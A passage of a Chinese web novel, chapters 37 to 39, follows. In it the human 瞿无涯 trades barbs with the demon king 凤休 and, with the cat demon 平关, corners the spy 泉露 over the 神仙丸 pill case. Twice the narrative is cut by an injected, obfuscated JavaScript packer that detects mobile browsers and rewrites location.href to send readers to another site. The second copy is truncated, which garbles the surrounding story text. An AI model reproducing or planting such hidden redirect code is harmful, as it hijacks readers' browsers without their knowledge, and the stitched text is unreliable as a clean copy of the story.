某种程度上来说,凤休也算脾气好?瞿无涯默默地想,若是自己被亲近之人下七情蛊,怎么也得气个一两年吧。不,不是,是因为凤休太强大,强大到没有必要去恨旁人。 “你知道什么叫复仇吗?” 凤休摇头。 “你以前没被背叛过吗?”瞿无涯想起那一夜,凤休能这么坦然地面对下属的背叛,也难怪杀起他那么果决,大概情谊在凤休的眼中就是如此干脆。 “有,很久以前吧。”凤休回忆道,“但我能理解他们为什么要这样做。” “在人族的话本中,凡是复仇故事,必是主人公身陷囹圄,险境环生,从弱小变得强大再手刃仇人,才令人畅快。”瞿无涯道,“刹罗根本没给你顺这口气的机会,你想如何便如何,难免会索然无味。以其人之道还治其人之身,你要真想出气,那你也在刹罗身上种回七情蛊。” 凤休实在没怎么体验过弱小的感觉,恍然大悟:“你说的这个方法不错。” 强大的人总是更松弛一些,就像原大哥也从不怨愤什么。只有像他这样弱小的人,才会在梦魇里不得安宁。 当初,他寄希望于凤休不再同他计较并非毫无缘由,事实证明遥幽重伤也不是凤休所害,是谲凰从中作祟。 瞿无涯心中连连冷笑,但那又怎么样,纵然不是凤休主动下的通缉令,可这堆祸事终究是因凤休而起。高高在上的妖王甚至不需要起杀心,就会有无数拥趸前仆后继为妖王解决烦恼。 “你之前被背叛,也是像如今这样不计较吗?” 那真是很久之前的事情,凤休却从未忘记,道:“其实也算不上背叛,只能说被暗算。当年,我确有愤恨,发誓度过落魄时期,要砍下他们的头泡酒。” “然后呢?真泡酒了吗?” 凤休摇头:“没有,他们也不是想置我于死地,只是想让我明白一个道理。而且我也不能杀了他们,妖族同类相残太常见,异族之争尚未有定论,本族先相争,也太荒谬。” “但你对魇箬的生死毫不关心。”瞿无涯有些疑惑,凤休是这么有同族之谊的妖吗? “我那时比较年轻。”凤休靠着椅背,转头打量瞿无涯,“按人族的年龄换算,应该和你差不多年纪。行事上会有点天真。” 年轻时,他想给妖界一份和平,想让妖族听见他的言语。打遍妖界后,他也成功当上妖王,走到他以为能号令天下的位置。 但那又有什么用,战斗又不是语言,连语言都无法传达的思想,又怎么能通过武力来解决。 战斗只能获得暂时的权力,而利益才是永恒的。 天真?瞿无涯困惑地望着凤休,难以把这个词和凤休联想到一起,道:“哦,难怪你落魄了,天真就容易倒霉。” “不是你以为的那种‘天真’,只是相对而言。”凤休漫不经心地笑,“与其说是恨他们,不如说是无能滋生的自恨。憎恨他人毫无意义。” “你太悲观了。” 瞿无涯觑凤休一眼,道:“说得好像世间没有真情一样,背叛真情的人本就该恨,也不值得原谅。” 李叔对他有恩,他不会因此报复李叔,这不代表他的心中没有怨恨。 凤休闻言,故意问道:“哦?那你恨我吗?” 从前阿休逗他,他常常因脸皮薄而不知如何反击,那时他只觉阿休游刃有余的模样很气人。 如今凤休说这种话依旧很气人,瞿无涯用灵刃抵着前几个时辰的伤口,这个伤口再不请医师就要愈合了,凤休眉毛微动。 两人保持着一个近乎暧昧的距离,瞿无涯的声音紧紧靠着凤休的耳旁。 “很想见医师么?” 38.第 38 章 凤休笑了,他说这些话本来就是想激怒瞿无涯的,这副张牙舞爪的模样很有趣。 若故意踩痛处,瞿无涯还隐下不发,他才要重新审视瞿无涯。他不喜欢太聪明的人待在身边,也不喜欢太蠢的,像瞿无涯这种偶尔犯点蠢的正好。 容易意气用事的人弱点太多,拿捏起来轻而易举,凤休是为了确认这一点。之前的冲突是“必须”发生的,不管是演还是真情流露,这是必备流程,不然他从一开始就会怀疑瞿无涯。 等他提出交易后,若瞿无涯是有任务而来,就会在稳定后避免再起争执,好稳定这段关系。至于疑点,很简单,瞿无涯怎么可能躲得过通缉? 但他并不会把这些说出来。 如此轻佻地提起当初,就像把那些事轻轻揭过成陈年旧事一般,瞿无涯几乎是应激反应。等意识到自己在做什么,他就后悔了,小不忍则乱大谋。 笑了?瞿无涯敏锐道:“你试探我?”他都以为自己要出师未捷身先死了,想着怎么弥补一下,他可不想死,还得救遥幽。 “试一下你是不是人族派来的。”凤休坦然答道,“若你是人族的细作,那你的细作习惯也太差了。” “确实。”瞿无涯不咸不淡地阴阳,“被下属和人族联合起来设计,你确实应该小心一些。” 凤休伸直食指和中指,一道红光附在瞿无涯的嘴唇上。 瞿无涯:“你干什么?”却没听见自己的声音,他惊恐地摸着嗓子,哑巴了? 这个王八蛋,自己逗完人后心情平复,就一点刺也不愿听。 凤休双手按着瞿无涯的前胸后背,把他从座位上移开,拍拍他的背,道:“行了,去玩吧,别在这吵我。” 都哑巴了还怎么玩,瞿无涯做着口型。 “你给我解开。” 很显然,专制的妖王并不会采纳这个提议。 “你出刀速度还可以,身体反应比脑子快,是一种天赋。” 什么意思?说自己四肢发达,头脑简单吗? 瞿无涯愤恨地踹了一脚桌子。凤休扫了一眼他的腿,他担心凤休要对自己的腿做什么,一溜烟儿跑了。 凤休笑着摇摇头。 青鸿目瞪口呆,要知道王上就算笑,也是阴沉沉森冷冷地笑,经常在一些不合时宜的时候说一些笑话,还问他们不好笑吗? 天地良心,与人族交战时,歧牙妖君冒进不听指挥,中了人族陷阱。王上没处罚歧牙,将歧牙手下二十三名妖将召集,令歧牙在旁候着。 王上拿消魂钉当飞镖似的一个一个往妖将们身上钉,需歧牙推测出顺序的规律才会停下。歧牙急得满头大汗,实在是看不出规律,只得跪下不停地磕头给属下求饶。 然后,王上笑了,说,其实没有规律,手滑而已,要学会质疑孤的话语才行,就像你在战场上那样。王上大约以为自己很幽默,问青鸿,孤这个笑话说得不好么? 青鸿不敢说话也不敢笑。而且这还不是王上真正动怒,一般见过王上动怒的人都已经死了。 哪里像如今,被人族踹了桌子,露出一个近乎活泼的笑。好瘆人,王上怎么可能和活泼联系在一起。 青鸿起了鸡皮疙瘩,道:“王上,他不怕您动怒吗?” “一半一半。”凤休低头,道,“怕归怕,但笨占了上风,便不怕了。”他很满意这个状态,太畏惧逗弄起来没意思,没了畏惧逗弄起来也没意思。 好可怕,王上竟然用“笨”这么温柔的词语来形容。青鸿越发胆寒。 先要去城主府,同乐萱报平安。瞿无涯苦于不能开口,好在妖卫们都认识他,无声无息地走进乐萱的院子,敲房门。 “谁啊?”乐萱问道。 开门的是辛觅:“乌鸦?你不是留在王宫了吗?” 什么意思?瞿无涯警惕起来,她们知道了什么吗? “乌鸦,你出名了。”乐萱对上关于凤休的事总是很有兴趣,“王上身边从来没收过侍宠,这是怎么回事?你怎么会碰见王上?” 没想到王上竟然是喜欢这般的年纪小的,看来是之前弄错方向了。 无知的农村小伙瞿无涯并不知道妖王的身边有多少双眼睛盯着,床上多了一个人的大事,更是传得满城风雨。 “你看上去很惊讶,难不成你以为王上身边有什么秘密?” 怪不得昨夜,他们莫名就从冰石上瞬移到床上,他回想起来还以为凤休改了性,原来只是没有让人围观的癖好。 这倒是瞿无涯误会凤休了,凤休其实是怕瞿无涯被冰石冻死,那可不是凡人之躯能久留的地方。 瞿无涯指指自己的嗓子,想告诉她们自己说不出话。他动了动嘴,没发出声音。 辛觅奇道:“你嗓子怎么了?” “啊,叫哑了吗?”乐萱笑得停不下来,“不亏是王上。” 喂!瞿无涯恼羞成怒,脸涨得通红,左顾右盼,抓过书桌上的纸笔,写字。 我被施了术法,说不出话。 乐萱恍然大悟,帮瞿无涯解开,对辛觅道:“他可能叫太大声了,王上嫌吵。” 喂喂喂,当事人还在这呢,能不能不要这么若无其事地八卦。瞿无涯道:“我说凤休技术太差,他恼羞成怒把我禁言了。” 这种事总归是越描越黑,与其让他一个人受调侃揶揄,不如把凤休拉下水让这事彻底黑了。 提到凤休,乐萱果然就老实,没再笑,严肃道:“不准胡说,王上无所不能。” 她想了想,又补充道:“这个你可不能说出去,和我们说说也就罢了。” 她自是也疑心过乌鸦的来历,他实在不像普通人族,但一想,王上难得铁树开花,还是以王上的意愿为先。至于阴谋诡计什么的,王上会解决的。 “少主,神仙丸的案子,我能继续跟着你查吗?” 乐萱有点讶异,不懂瞿无涯既然能在王宫享乐,为何还要回城主府查案,道:“王上收了你,你便不再是城主府的奴隶,这事我说了不算。” “我闲不住,也好奇到底是怎么一回事。”瞿无涯看出乐萱的疑虑,“凤休说过,随便我干什么。” 乐萱不由得皱起眉头,道:“你能直呼王上名讳?” 呵呵,不然呢,叫凤休什么,竖子?王八蛋?混账?瞿无涯泰然自若:“嗯。” 看来王上真挺喜欢乌鸦,也是,乌鸦长得好看。乐萱欣然接受,老房子着火嘛,总是烧得旺一些。 “对了,听说今早谲凰惹怒王上被责罚,你知道是为什么吗?” 瞿无涯斟酌着答道:“他做了多余的事。” “多余”这个词太妙,简略而残酷,就如同凤休此妖,阴鸷、冰冷含量都极少,却又呈现出完全的残忍。 “这也难怪。”乐萱猜想谲凰是拈醋说错话了,“他对王上痴心已久,王上一直无心风月,没想到近水楼台不得月。他肯定牙都咬碎了。” “哼哼,从前我缠着王上陪我玩,他还总疑心我想当王后,活该。” 原来那股恶意不仅仅是憎恨,还是嫉妒。难怪凤休没计较,谲凰却下了通缉令。 瞿无涯不受控制地又想起遥幽苍白、了无生息的模样,拳头无意识地攥紧。 来寻乐萱只是顺便,他今日另有目的。 在那日泉露洗干净嫌疑后,平关也没有再为难泉露,让她离开了。 而瞿无涯在知晓泉露身份的那一刻,就知道他们被泉露骗了。 “她是一个细作,能把刹罗骗得团团转,这样一个人,怎么可能是为了爱情去死?” 平关皱起眉头,道:“那她要神仙丸做什么?若她不是想见刹罗。” 这倒也是。瞿无涯沉默一会,道:“无论如何,她绝不可能像我们以为的那般无知,我认为她有问题。” “她已经完成任务,不回人界,来王都做什么?”平关疑惑,“自投罗网吗?” 好问题。 “要么,她真爱上刹罗。要么,她来王都有别的任务。”瞿无涯道,“等我们找到她,再问出来。我看过她出任务的记录,她从未失手过,我不认为她会真的爱上刹罗。” “她能躲过通缉令,怕是没那么好找。”平关朝院门外走去,“光靠我们,八成是找不到的,我们需要帮助,走吧。” “是吗?我在人界也被通缉了,感觉躲过通缉没有那么难。”瞿无涯迟疑道。 “怎么可能?你若没有专门躲避的经验,就是运气好,你以为通缉是闹着玩的吗?”平关解释道,“就算你不出现在他人面前,也能靠卦象、气息甚至是灵力波动等一些特殊方法推断,你不会以为通缉就是看见你然后跟着你吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214917|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞿无涯愣住了。 平关下结论:“你对术法真是一无所知。” 瞿无涯喃喃道:“可是我真是被撞见,然后才被发现的。” “你怎么会被通缉?” “上次没来得及和你说,阿休是妖王,他想杀人灭口来着。”瞿无涯平静地道,“但现在他又反悔了,我在他身边当,唔,应该叫侍宠?” 什么和什么?平关的脑子要转不过来了,最后冒出一句:“我操,我竟然和妖王称兄道弟了。” 平关并没有关心他的情绪。 这样很好,瞿无涯也不想解释这些事,不是值得回忆和诉说的事。平关真个大智若愚的妖,明明能感知到很多情绪,却偏生少了点好奇心,颇有些不问来路不问去处的潇洒意味。 正说着,两人走到一个洞穴前。瞿无涯暗暗咂舌,这么原始,平关的朋友还真有个性。 “甘绮,甘绮!” 一个瘦小的女子走出来,她穿着灰扑扑的袄子,相貌普通,身形有些驼背,瞧着很不起眼。 “平关?” “给你介绍一下,这是我姐妹,甘绮,鼠妖。”平关先是瞿无涯说话,而后对甘绮道,“这是我兄弟,瞿无涯,人族。” 兄弟姐妹遍天下啊,瞿无涯笑着打招呼:“你好,甘绮。” 鼠妖擅追踪,只是平关是猫妖,和鼠妖交朋友,在人族看来是很有趣的事。 甘绮听完平关的来意,笑道:“王上找不到的人,你让我来找,还真的是看得起我。” “泉露会防他们正统的手段,却不一定会防你。”平关拍拍甘绮的肩膀,“是吧,我们道上的妖有道上的方法。” 而甘绮也真没辜负平关的信任,平关当初留了心眼,取了泉露一根发丝,甘绮似乎是用什么阵法追踪到了泉露——瞿无涯没听懂平关说的话,平关也没有和他解释太多。 瞿无涯手中通信器闪烁,他连忙出宫和平关汇合,在顶月楼的一个包厢堵住了泉露。 而泉露的反应有些怪异,震惊又似乎松了一口气:“怎么是你们?” 泉露顶着通缉来顶月楼本就奇怪,还说这种话,难道是......瞿无涯问道:“你在躲谁?” “没,没有谁。”泉露没说真话,因为她还不知道瞿无涯和平关已经知道她的身份。 “乌幼离,你是西州乌山人,接近刹罗是你们给妖王下七情蛊的计划一环,你上次说你想见刹罗且什么都不知道,是假的吧。” 瞿无涯也没想多纠缠这个话题,他只想知道神仙丸的事。 泉露愣住,捏着茶杯,道:“就算我是乌山人,我确实不知道——” 这在她意料之外,她故意把话语说得缓慢,好给自己思考时间。 “你在躲什么人?”瞿无涯面无表情道,“我现在大可在外大喊一声,泉露在这。那样场面不会太好看,你自己决定吧。” 七情蛊......泉露自知没办法再糊弄过去,七情蛊的事并没有被公布于众,瞿无涯既然知道七情蛊,那是妖王近身之人?她倒是很好奇七情蛊的效果如何。 瞿无涯并没有绝对的把握,他只是认为泉露此人十分不对劲,违和感太强烈。用神仙丸闯地牢?这个想法实在是太愚蠢了,根本和泉露不契合。 再者,泉露懂药理,能闻出神仙丸的大部分成分,却不知这东西的诡异之处,实在是说不通。她是乌山年轻一辈的佼佼者,能参与七情蛊的制作——文书上写的,神仙丸这种水平的药物,她不说一定能知道关窍,但一点异常也发觉不了,那也太奇怪。 就算她不知晓,但乐萱没有封锁神仙丸致死的消息,若有心打探肯定是能知道的。想服用这等诡异的药物,泉露又不是柔弱为爱献身的女子,是乌山潜心培养的子弟,怎么会连这个消息也打探不到? 她装傻装得太过头。 泉露心中有了决断,道:“外面有人在寻我,你帮我引开她,我可以告诉你神仙丸的关窍。” 真让无涯兄赌对了,平关深深地思索,可是泉露提起刹罗的语气不像演的。 “谁在追你?”瞿无涯谨慎道,“而且,怎么保证你不会像上次一般装傻?” 面前两人并不是那种过河拆桥的性子,泉露不介意给出一点甜头,便道:“神仙丸之所以能疏通经脉,是因为里面有蛊。” 39.第 39 章 王都固然不如人界繁华,但好在新奇。诸眉人整日闲得发慌,没事便出城研究草木、土壤。王都的土还挺适合种一些草药,她和往常一样逛着集市。 一道身影,很熟悉。一闪而过,什么都不能说明。 诸眉人一向很相信直觉。乌幼离是她见过最美的人,年少时她常常羡慕乌幼离的婀娜多姿,像是被上天宠爱一般。 从前她跟着长辈去乌山时,尤其爱看乌幼离在修炼的背影。但她和乌幼离没有过多的交集,乌山规矩多且严苛,不常与外界来往,她们只能算得上点头之交。 三年没听过乌幼离的消息,什么任务需要三年? 她再听到乌幼离的消息是父亲同她说,乌山联系不上乌幼离了。 诸眉人心念一动,人便没了影。她左右张望,王都的人族很罕见,尤其是能自由活动的人族。 她往人影消失的方向走去。 顶月楼,诸眉人抬头看着门匾,这她倒也来过几次。 “欸,客官,您有预定吗?” 小二看诸眉人衣料华贵,神采飞扬,料想是哪家大小姐。 “方才有没有一个姑娘——” 正当诸眉人想问刚刚有没有人族进来,就听见一句。 “媒婆!” 要知道,自从上次同钟离柏分别后,她再也没听过这两个字,这声音也不像钟离柏。 瞿无涯正受泉露所托来到大堂,正想着弄点啥事才能吸引诸眉人注意力,就听见诸眉人在问什么姑娘,吓得他急中生智打断。 说完,他有一种自己命不久矣的预感。 忙中他还来得急叹息,难道自己真是四肢发达头脑简单吗?这种话这般轻易地说出口,真是不怕死。 果然,诸眉人没再想什么乌幼离,而是杀气腾腾地冲瞿无涯走去。 “诸姑娘,你听我解释。”瞿无涯举起双手,正想道歉,却被诸眉人捏住脸颊。 “钟离柏,你想死是不是?”诸眉人本想把人皮面具撕下来,却发现这似乎是真脸。 “这谁做的人皮面具?还挺嫩的。” “抱歉,诸姑娘,你误会了。”瞿无涯口齿不清道,“我不是钟离柏,只是,呃,钟离一直这么称呼你。我脑子没转过来。” 不是钟离柏吗?诸眉人心中有些失落,还以为能有朋友一起,松开手,冷笑道:“我看他是活腻了。你是何人?我看你眼熟,是钟狗朋友吗?” “我叫瞿无涯——” “等下!”诸眉人打断他,“我想起来了,你是通缉榜上那个对不对?我在南州看过你的通缉令。钟狗一直在打听你的消息,你怎么到王都来了?” “钟离提过我?”瞿无涯本还怕诸眉人不相信自己的话,“我被送来妖界当奴隶,呃,让钟离担心了。” “小二,要一个包厢,上几个你们这的招牌菜。”诸眉人对一旁的小二吩咐道,而后又看着瞿无涯,“我们进去说。” “好咧,二位客官跟我来。” 包厢在二楼,最普通的包厢,空间算不上大。诸眉人略有嫌弃地看着,好在装饰还算雅致,朱窗青墙,桌上瓷瓶中插着几株蓝白相间的花。 “我路过南州的时候挺匆忙的,只是和钟离打了个照面。”诸眉人坐下时,腰带上的铃铛因动作而剧烈晃动,“他说新认识了个朋友,在通缉令上。” 可惜那时无名已经去东州了,没能见到无名。 “说来话长,我当时帮钟离肃公子引开追兵,逃跑时坐上了一辆马车出城。”瞿无涯想起原无名和钟离柏,本是别有用心而来,却对诸眉人生出几分亲切之感,“回家后,被一位对我很好的长辈下药迷晕,替他儿子到妖界当奴隶,也没能来得及给原大哥和钟离报平安。” “啊?那你也太惨了。”诸眉人惊道,“这什么长辈啊,简直是禽兽。” 瞿无涯叹息:“这也是世事弄人,若换他的儿子来,说不定就死了。就当报恩吧。” “你父母呢?就让这个长辈这样胡作非为吗?” “我父母早逝,是被大伙一起养大的。”瞿无涯为吸引诸眉人注意力,说出自己的身世也不觉羞怯。他本不觉得自己多悲惨,但从小到大,旁人往往对他都是可怜多过喜爱,他不太喜欢被可怜的滋味。 “可怜见的。”诸眉人虽这么说着,却没有真多可怜瞿无涯,她见过的人有远比这还要惨的,早就习惯了,“你今年多大?” 瞿无涯:“六月底满十九。” “你叫无名大哥,那你得唤我一声姐姐。” 诸眉人自幼在同辈中就是年纪最小的,性情活泼骄纵,也讨众人喜爱,常常就是被当作妹妹照顾。而年岁渐长,她不满被当作小辈,有了新的爱好,就是当姐姐。 瞿无涯没懂这个逻辑,还想着难道是诸眉人爱慕原大哥,才想和原大哥当同辈,从善如流:“诸姐姐。” “好,我也不白让你叫一声姐姐。”诸眉人两指捏着一个黑色小罐子,道:“这个叫千日睡,就算是妖王来了,也得睡上三日,当给你的见面礼。” 这声姐姐还是很有用的,瞿无涯微笑着接过,带上几分真心实意:“谢谢诸姐姐。” 仔细一看,才发现上边有一个“眉”字。他想起之前原无名的罐子上也有这个字,不禁笑得粲然。 “菜来咯!” 敲门声响起,小二端着盘子进来,把菜布好。 菜色在妖界够看,但比起人界就不足了,诸眉人并不想动筷。妖本就没有人族那般的餐食文化,比起好看的菜色,大部分妖宁愿在餐桌上摆几个人族来生啖。 但对于这声姐姐,她十分受用,道:“你说坐了马车出城,那会不是戒严吗?谁家的马车还能出去?钟离家的?” “宣——”瞿无涯在心中过了一边名字,一怔,“轩,辕琨?” “啥?轩辕?”诸眉人可没听过这个,提高嗓音。这还有轩辕的事吗?由于无名常年在通缉榜买房,轩辕身份也有点特殊,他们都很少和旁人提起轩辕的事。 当年他们几人游走四州固然潇洒,但轩辕还是要回去当王太子,她也要回西州帮爹爹打理诸家,景同是要成为不输她爷爷的大发明家,而无名则是成为了一把刀,轩辕的刀。不提轩辕,不提无名,是防止有人通过他们的话语将无名和轩辕联系到一起。 很多事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“原大哥说是因为人族可以利用功法比妖更有效率地利用灵力。钟离说妖固然身体抗揍,但也因为如此,妖族的医术完全不如人族,他们太依靠自身的修复,浪费灵力。” 诸眉人哼哼两声,道:“这都是武修和医修的愚见罢了,实则是因为人族的创造力生生不息。就好比钟离说医术,妖族的毒蛊之术也落后得很,要是人族有那么漫长的寿命,早把妖族碾压了。” “也许这正是人族寿命短暂的原因。”瞿无涯道,“天地万物相生相克,物极必反,凡是哪点过于极端都容易失去平衡。” 诸眉人一怔,上手捏瞿无涯的脸,道:“聪明啊弟弟。” “你说的也没错。我们常说妖族愚钝不是没道理的偏见,他们太过依仗修为,而细节处往往决定成败。” 瞿无涯心道,这就是你们向凤休下七情蛊的原因吗? “不管是西州的毒修,还是东州的器修,都远比妖族的造诣要深厚。妖族现有的很多法器都是人族产物,除却个别肯专研的妖,其他的都愚钝不堪。就算是葬骨川之战,人族也是输给了凤休,而不是输给妖族。”